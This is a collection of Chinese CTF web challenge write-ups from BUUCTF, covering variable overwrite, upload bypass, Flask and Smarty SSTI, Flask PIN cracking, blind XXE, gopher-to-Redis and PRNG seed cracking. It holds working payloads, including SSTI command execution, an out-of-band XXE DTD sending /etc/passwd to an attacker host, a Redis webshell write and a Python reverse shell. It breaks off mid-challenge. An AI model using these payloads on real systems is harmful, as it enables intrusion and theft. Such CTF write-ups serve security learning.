在LoginController这个控制器中传入loadView方法中的参数都是写死了的,所以暂且不是我们要审计的重点,同时可以看到,在UserController这个控制器中同样调用了该方法,同时用一个变量作为loadView方法的第二个参数,结合之前我们所提到的变量覆盖,所以可以跟进该控制器,进一步进行审计:

# UserController.php

<?php 

/**
* 用户控制器
*/
class UserController extends BaseController
{
	// 访问列表
	public function actionList()
	{
		$params = $_REQUEST;
		$userModel = new UserModel();
		$listData = $userModel->getPageList($params);
		$this->loadView('userList', $listData );
	}
    public function actionIndex()
    {
        $listData = $_REQUEST;
        $this->loadView('userIndex',$listData);
    }

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

在第二个方法actionIndex中把$_REQUEST这个数组赋值给了$listData,然后传入了loadView方法,也就是说我们可以控制该方法的第二个参数进行变量覆盖。传入该方法的第一个参数是userIndex,我们再跟进viewIndex方法进行后续的审计。

	public function loadView($viewName ='', $viewData = [])
	{
		$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
		if(file_exists($this->viewPath))
		{
			extract($viewData);
			include $this->viewPath;
		}
	}
1
2
3
4
5
6
7
8
9

该方法会将第一个参数进行一下路径的拼接得到一个php文件,然后直接包含该文件,因为传入loadView方法的第一个参数是userIndex,所以我们跟进userIndex.php:

<div class="container">
    <div class="row">
        <div class="col-sm-4">
            <h2>关于我</h2>
            <h5>我的照片:</h5>
            <div class="fakeimg"><?php
                if(!isset($img_file)) {
                    $img_file = '/../favicon.ico';
                }
                $img_dir = dirname(__FILE__) . $img_file;
                $img_base64 = imgToBase64($img_dir);
                echo '<img src="' . $img_base64 . '">';       //图片形式展示
                ?></div>
        </div>
    </div>
</div>
                    
······
                    
<?php
function imgToBase64($img_file) {

    $img_base64 = '';
    if (file_exists($img_file)) {
        $app_img_file = $img_file; // 图片路径
        $img_info = getimagesize($app_img_file); // 取得图片的大小,类型等

        $fp = fopen($app_img_file, "r"); // 图片是否可读权限

        if ($fp) {
            $filesize = filesize($app_img_file);
            $content = fread($fp, $filesize);
            $file_content = chunk_split(base64_encode($content)); // base64编码
            switch ($img_info[2]) {           //判读图片类型
                case 1: $img_type = "gif";
                    break;
                case 2: $img_type = "jpg";
                    break;
                case 3: $img_type = "png";
                    break;
            }

            $img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码

        }
        fclose($fp);
    }

    return $img_base64; //返回图片的base64
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

$img_file是我们通过变量覆盖可以随意更改的,然后会将该变量所对应的文件内容进行b64编码处理,那么思路就是:访问对应的控制器,通过变量覆盖修改$img_file为flag.php,得到flag。

我们需要的控制器是UserController,要使用的方法是该控制器下的actionIndex,所以需要修改f参数为User/Index,同时传入img_file参数进行变量覆盖:

http://322ce0e8-adc4-4718-819d-553aa6899ac5.node3.buuoj.cn/index.php?r=User/Index&img_file=/../flag.php
1

image-20201004213838374

解码一下,拿到flag:

image-20201004213921250

注意

这里要注意路径的问题,因为在actionIndex中已经把路径定义到了userIndex.php,所以要访问flag.php还需要跳回上一层目录,且由于定义的路径没有用/结尾,所以还需要加一个/号,于是得到最后的payload是img_file=/../flag.php

# 文件上传

# CV Maker

**考点:exif_imagetype()的绕过

这个函数的绕过在我以前一篇文章中写到过:这里

题目除了注册登录其他点其他地方都没啥反应,那就随便注册一个账号登录进去,只有一个上传头像的功能。

上传普通一句话木马文件会回显这样的东西:

20200330145540890

那就直接用GIF89a文件头绕一下试试看:

image-20200715162359334

直接显示上传成功了,,然后就看一下文件的位置,右键点击图片链接检查一下:

image-20200715162632689

找了的shell的位置,然后蚁剑连一下,flag在根目录下,直接读取即可

image-20200715162939025

# SSTI

# Double Secret

考点:

  • flask框架开启debug模式会暴露源码
  • RC4加密算法

这道题目一开始没给什么提示,让我们去Find Secret

image-20200718201241502

扫了后台没啥东西,然后看了wp才知道正确姿势是去访问/secret

image-20200718201436427

按照这个思路,那么"Tell me your secret"应该就是让我们传入参数secret

image-20200718201529213

传入参数有回显,存在ssti可能性,但是回显值和我们输入值不相同,传入2试试

image-20200718201653362

直接报错,并且开启了debug模式,借此我们可以看到一部分关键源码

image-20200718201750325

源码如下(关键地方已做注释):

if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    #使用RC4加密算法,密钥为"HereIsTreasure"
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    #将我们传入的secret参数进行RC4加密
    deS=rc.do_crypt(secret)
 	#进行模板渲染,并用safe函数过滤
    a=render_template_string(safe(deS))
 
    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a
Open an interactive python shell in this frame 
1
2
3
4
5
6
7
8
9
10
11
12
13

确实存在ssti注入漏洞,但是服务端会对传入的参数进行RC4算法加密,这就是为什么回显和我们传参的值不相同,但是RC4是一种对称加密算法,也就是说,我们如果知道密钥,就可以进行解密。

所以题目思路就是将payload进行一次RC4解密,我们传入解密后的数据再经过一次RC4加密之后就成了正常的payload。

下面的RC4加密解密脚本来自于一位师傅的博客:这里

我做了一点点小小的改动,加了一个url编码功能,脚本如下:

#python3
# -*- coding: utf-8 -*-

import base64
from urllib import parse

def get_message():
    print("输入你的信息:")
    s = input()
    return s

def get_key():
    print("输入你的秘钥:")
    key = input()
    if key == '':
        key = 'none_public_key'
    return key

def init_box(key):
    """
    S盒
    """
    s_box = list(range(256)) #我这里没管秘钥小于256的情况,小于256应该不断重复填充即可
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    #print(type(s_box)) #for_test
    return s_box

def ex_encrypt(plain,box,mode):
    """
    利用PRGA生成秘钥流并与密文字节异或,加解密同一个算法
    """

    if mode == '2':
        while True:
            c_mode = input("输入你的解密模式:Base64 or ordinary\n")
            if c_mode == 'Base64':
                plain = base6b64decode(plain)
                plain = bytes.decode(plain)
                break
            elif c_mode == 'ordinary':
                plain = plain
                break
            else:
                print("Something Wrong,请重新新输入")
                continue

    res = []
    i = j =0
    for s in plain:
        i = (i + 1) %256
        j = (j + box[i]) %256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j])% 256
        k = box[t]
        res.append(chr(ord(s)^k))

    cipher = "".join(res)
    #print(cipher)
    if  mode == '1':
        # 化成可视字符需要编码
        print("加密后的输出(没经过任何编码):")
        print(cipher)
        # base64的目的也是为了变成可见字符
        print("base64后的编码:")
        print(str(base6b64encode(cipher.encode('utf-8')),'utf-8'))
    if mode == '2':
        print("解密后的密文:")
        print(cipher)
        print("url编码之后密文:")
        print(parse.quote(cipher))


def get_mode():
    print("请选择加密或者解密")
    print("1. Encrypt")
    print("2. Decode")
    mode = input()
    if mode == '1':
        message = get_message()
        key = get_key()
        box = init_box(key)
        ex_encrypt(message,box,mode)
    elif mode == '2':
        message = get_message()
        key = get_key()
        box = init_box(key)
        ex_encrypt(message, box, mode)
    else:
        print("输入有误!")


if __name__ == '__main__':
    while True:
        get_mode()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

将我们的payload进行RC4解密:

image-20200718202624055

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

url编码之后密文:
.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%9C%1A%3A%3F%C3%A6%C2%B2%20%C2%A2%C3%82%C2%B9%0F%0B%C3%95G%23-%C3%A9%C2%A2%19%C3%85%C2%B2%C2%8F%22%C3%AE%C2%A3%C2%93l%C3%8A%7B%03%C3%B9%C2%B6%C2%92%C3%97%11%20%C3%9C%C3%AE%C3%AA%02
1
2
3
4

传参

image-20200718202826798

根目录下存在flag.txt,改一下payload继续解密一次即可

image-20200718203111636

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

url编码之后密文:
.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23~%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96
1
2
3
4

传参,拿到flag

image-20200718203226169

# I_❤️_Flask

考点:

  • flask模板注入

题目存在一个隐藏参数name,知道这一点以后常规的flask框架的ssti的payload都能打。

image-20200722161316956

# FlaskApp

考点:

  • Flask开启debug模式会导致PIN码攻击

获取Flask的PIN码需要以下条件:

  • 运行app的用户名,在/etc/passwd
  • module name,一般为flask.app
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) --> 结果为Flask
  • app.py的绝对路径,debug模式下就可以直接看见
  • MAC地址的十进制数,一般在/sys/class/net/eth0/address
  • 机器的ID:对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup,序列号为1那行

解题

题目有base64加密和base64解密的功能,还有个hint:失败是成功之母,先测试是否有SSTI

image-20200805175641158

拿到解码模块去解码

image-20200805173656453

显然存在SSTI,结合给的hint,看看是否开启了debug模式,只需要随便输入不合符base64编码规范的字符串进行解码就可以了

image-20200805173804562

题目开启了debug模式,可以考虑使用PIN码攻击。下面就开始读取必要的信息

//读取用户名
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read()}}{% endif %}{% endfor %}
1
2

image-20200805174005270

依然用同样的方法读取剩下所必要的信息,由与过程大致相同,这里就略过了。最终利用脚本得到PIN码

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb'  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410516817',  # str(uuid.getnode()),  /sys/class/net/eth0/address
    '6c729797fddf9cd2b01fb10d359bb020ffdc1b17621333bca5289136d2c88701'  # get_machine_id(),/proc/self/cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

image-20200805174234566

输入PIN码之后用os模块为所欲为

image-20200805174402883

# flasklight

直接利用GitHub的这个项目 中所给的subprocess.Popen.这个模块的payload来打

寻找该模块的exp:

import requests
from lxml import etree

url = 'http://fb81170e-ce76-45d4-8d45-c1ff9ba2f3e1.node3.buuoj.cn/?search={{[].__class__.__base__.__subclasses__()}}'
res = requests.get(url=url)
print(res.text)
# Xpath:/html/body/h3[1]
html = etree.HTML(res.text)
a = html.xpath("/html/body/h3[1]/text()")[0]

context = a.split(",")
count = 0
for i in context:
    if "subprocess.Popen" in i:
        print(i)
        print(context.index(i))
        break


#print(context)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

最后payload:

{{[].__class__.__base__.__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

{{[].__class__.__base__.__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
1
2
3

# CISCN2019华东南赛区Web11

考点:

  • Smarty SSTI

笔记

Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。

image-20201003205810665

根据题目的提示,可以知道是Smarty模板,经过简单的Google之后发现这个模板存在SSTI漏洞,估计这个题目就是考的这一点。

页面的右上角会显示我们的IP地址,猜想可以通过修改XFF头来造成SSTI,于是我将XFF头改成了{1+1}:

image-20201003210249780

确实存在XFF头处的SSTI,然后经过简单的查询之后,发现使用{$smarty.version}来显示当前模板的版本。

image-20201003210352836

然后发现Smarty的{if xxx}{/if}类似于Flask,可以执行PHP代码:

image-20201003210616454

# payload

{if system('ls /')}{/if}

{if system('cat /flag')}{/if}
1
2
3
4
5

image-20201003210828917

image-20201003210853494

# XSS

暂无

# XXE

# True XML cookbook

考点:

  • XXE内网探测
  • Linux关键文件位置

输入用户名密码,抓包发现是XML格式的数据:

image-20200726112333098

尝试用XXE读取敏感文件:

image-20200726112425979

读取成功,payload如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>&xxe;</username><password>123</password></user>
1
2
3
4

但是经过其他尝试之后没有发现flag,接着读取一下/etc/hosts,发现一个IP地址:image-20200726113642963

这里很可能是要做内网探测了,先尝试用http协议访问一下该ip地址:

image-20200726112922755

报错了,那么接下来就爆破一下内网的主机:

image-20200726113050786

题目还是比较友好,在17126.2011这台主机中发现了flag。

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://17126.2010">
]>
<user><username>&xxe;</username><password>123</password></user>
1
2
3
4

# [SUCTF 2018]Homework

考点:

  • PHP原生类SimpleXMLElement进行Blind XXE
  • 二次注入

# 知识点

PHP的原生类SimpleXMLElement的__construct方法可以用来加载一个远程的xml文件:官方文档

我这里就截张图简单的说一下:

image-20201116203313138

主要是第二个参数options,官方中默认使用了一些预定义常量来作为它的值,如果要进行外部实体注入的话,这里要填的是LIBXML_NOENT,这个参数允许解析外部实体,同样,在官方文档中也提示了它的安全问题:

image-20201116203618811

# 解题

进入环境给了一个calc的类:

<?php 
class calc{
	function __construct__(){
		calc();
	}

	function calc($args1,$method,$args2){
		$args1=intval($args1);
		$args2=intval($args2);
		switch ($method) {
			case 'a':
				$method="+";
				break;

			case 'b':
				$method="-";
				break;

			case 'c':
				$method="*";
				break;

			case 'd':
				$method="/";
				break;
			
			default:
				die("invalid input");
		}
		$Expression=$args1.$method.$args2;
		eval("\$r=$Expression;");
		die("Calculation results:".$r);
	}
}
?>		
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

点击CALC按钮会返回计算结果,抓包查看:

image-20201116203850149

结合它给的源码,不难猜测每个参数的意义:

  • module:调用的类
  • args[]:一个数组,分别为$args1,$method,$args2

在__construct方法中调用了calc()方法,所以这里可以触发计算结果的原因很可能是new了一个calc对象,这样可以触发构造方法,从而调用calc()方法,从而计算了结果。

结合之前所说的SimpleXMLElement#__construct方法,我们可以在远程VPS构造一个XML文件,然后利用这个方法进行远程加载,造成XXE,远程VPS的XML文件:

test.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://{IP}/xxe/evil.xml">
%int;
%all;
%send;
]>
1
2
3
4
5
6
7

evil.xml

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://{IP}/xxe/test.php?file=%file;'>">
1
2

test.php

<?php
file_put_contents('1.txt',$_GET['file']);
1
2

加载xml文件:

image-20201116204647559

这里注意options参数,我们如果直接传预定义的常量名的话会被当成字符串解析,所以这里应该传入常量的值(经过我的测试16也可以):

image-20201116204829354

然后到VPS上收数据:

image-20201116205943243

接着就可以拿源码了,过程我就不多说了,我直接说拿到源码之后的利用方式:

function.php

function sql_result($sql,$mysql){
        if($result=mysqli_query($mysql,$sql)){
                $result_array=mysqli_fetch_all($result);
                return $result_array;
        }else{
                 echo mysqli_error($mysql);
                 return "Failed";
        }
}

function upload_file($mysql){
        if($_FILES){
                if($_FILES['file']['size']>2*1024*1024){
                        die("File is larger than 2M, forbidden upload");
                }
                if(is_uploaded_file($_FILES['file']['tmp_name'])){
                        if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
                                $filehash=md5(mt_rand());
                                if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
                                $new_filename="./upload/".$filehash.".txt";
                                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
                        }else{
                                $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
                                $new_filename="./upload/".$hash[0][0].".txt";
                                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
                        }
                }else{
                        die("Not upload file");
                }
        }
}



function w_addslashes($string){
        return addslashes(trim($string));
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

show.php

	if(isset($_GET['action'])&&$_GET['action']=="view"){
		if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
		if(!empty($_GET['filename'])){
			$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
			$file_name=$file_info['0']['2'];/
			echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
			$new_sig=mt_rand();
			sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
			die("<br>new sig:".$new_sig);
		}else{
			die("Null filename");
		}
	}
1
2
3
4
5
6
7
8
9
10
11
12
13

在function.php中对post的sig进行了转义,但是在show.php进行update的时候却没有进行转义造成了二次注入:

image-20201116210254571

所以注入点就在文件上传的时候的数据包的sig处,function.php中的函数在submit.php中被调用,所以在submit.php上传文件的时候抓包修改恶意的sig数据,然后在show.php中拿flag,要注意的一点是show.php只允许localhost访问,所以还需要利用XXE进行SSRF:

evil.xml

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=4.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://{IP}/xxe/test.php?file=%file;'>">
1
2
-- sig
-- 多余的就不写了,直接写最后一步吧

' and extractvalue(1,concat('~',(select REVERSE(flag) from flag)))#
-- to hex
0x2720616E64206578747261637476616C756528312C636F6E63617428277E272C2873656C656374205245564552534528666C6167292066726F6D20666C616729292923
1
2
3
4
5
6

image-20201116211133507

注意上传完之后需要再次请求一下远程的xml文件:

image-20201116211259552

image-20201116211205185

# SSRF

# EZ三剑客-EzWeb

考点:利用 gopher协议攻击redis端口

进入题目环境,题目要求输入一个url,感觉是很明显的SSRF,右键查看源代码,发现提示

image-20200812224322507

传入secret参数,给了一个IP地址:173.49.220.9

image-20200812224449287

提交url http://173.49.220.9 出现了一个一模一样的页面

image-20200812224610989

做一波内网主机探测,发现173.49.220.10这台主机上貌似有东西

image-20200812225055412

根据提示,爆破一下端口,发现了6379端口

image-20200812225609816

6379是Redis的默认端口,利用gopher协议直接写shell试一下

gopher://173.49.220.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
1

写入shell之后再提交 http://173.49.220.10/shell.php?cmd=system('ls${IFS}/'); (需要绕过一下空格)

image-20200812230512887

尝试读取flag

http://173.49.220.10/shell.php?cmd=system('cat${IFS}/flag');
1

image-20200812230605779

# [网鼎杯 2020 白虎组]PicDown

考点:

  • 简单的SSRF
  • linux系统知识
  • Python反弹shell

提示

虽然把这道题目放到了SSRF分类,但是严格来说,对于这道题目SSRF只能算是一个起点,真正重要的是对于Linux下的某些知识的熟悉程度。

进入题目环境拿到一个输入框,并且发现提交的参数是url:

image-20201003220627131

感觉存在SSRF,看路由感觉像flask,读一下文件试一试:

image-20201003220859193

本来打算用local_file://来读取文件,结果发现没反应,后来想到,在python3环境下可以省略该协议:

image-20201003221034774

读一下app.py,拿到了flask的源码:

image-20201003221117082

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

简单阅读源码后,可以得到以下两点信息:

  • /page路由下存在urllib.urlopen(url)语句,且url参数是我们可控的,这是SSRF产生的原因。
  • /no_one_know_the_manager路由下会拿key和SECRET_KEY进行比较,如果正确则会执行传入的shell,且执行的命令是没有回显的。

想要执行命令,就要得到SECRET_KEY,在源码的一开始就告诉了它在哪里:

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
1
2
3
4

通过打开/tmp/secret.txt文件,然后读取SECRET_KEY,最后删掉该文件。

关于这题目的考点,在[V&N2020 公开赛]CHECKIN中就已经碰到过了:在Linux系统下,如果打开了一个文件没有关闭的话,即使将文件删除,也可以在/proc/[pid]/fd/这个目录下看到该文件的内容。

结合之前存在的SSRF,我们可以通过查看上面说到的目录中存在的符号链接来查看secret.txt文件的内容,由于不知道当前flask应用的pid,可以使用/proc/self/来代替(这里涉及到了一些Linux的知识,可参考:这篇文章 ),由于Linux下的文件描述符都是非负整形,所以我们可以爆破一下/proc/self/fd/目录下的文件描述符:

image-20201003222236479

在/proc/self/fd/3中发现了SECRET_KEY,接着传入参数,因为执行的命令没有回显,所以直接反弹一个shell:

image-20201003222617510

payload如下:

http://302424f1-e714-44a6-b67d-a8d749c7e078.node3.buuoj.cn/no_one_know_the_manager?key=x6IdiBiuJg0dmEowLErZgcr8yAyt2Zp5oeY4XN0xQEQ=&shell=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{Your_IP}',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
1

# 其他

# 枯燥的抽奖

考点:PHP伪随机数爆破

关于随机数的参考文章:这里 ,已经讲的相当详细了。

进入题目F12发现提示check.php,下面是源码

// check.php

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

随机数的种子是0~999999999之间的随机数,随机数取的是0~字符串str_long1的长度值,并且给了生成字符串的前10位。

接下来就是利用给出的字符串得到随机数,并且转换成符合规则的数据格式,EXP如下:

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'Sd8QsWB02a'
res = ''

for i in range(len(str2)):
    for j in range(len(str1)):
        if (str2[i] == str1[j]):
            res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
            break

print(res)
1
2
3
4
5
6
7
8
9
10
11

image-20200716134107085

将得到的数据放到工具里去爆破,得到种子:

image-20200716134253815

根据种子生成字符串:

<?php
mt_srand(681929264);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 20);
echo "<p id='p1'>".$str_show."</p>";
1
2
3
4
5
6
7
8
9
10
11

image-20200716134441121

这里有个小坑要注意一下,爆破出的种子的PHP版本是7.1.0+,必须使用符合该版本的PHP环境来生成目标字符串,否则就会得到错误结果。

将得到的结果输入即可得到flag

image-20200716134644958

# Can you guess it?

考点:basename()函数的漏洞

basename()函数详情:W3school PHP basename() 函数

例如index.php/a.php经过basename()处理之后就会得到a.php,index.php/a.php/b.php经过处理之后会得到b.php,但是basename()函数会忽略%81~%ff这种超过ascii码表范围的字符,也就是说index.php/a.php/%81经过处理之后仍然是a.php。

本地测试如下:

image-20200721182632625

题解:

题目一开始就直接给了源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

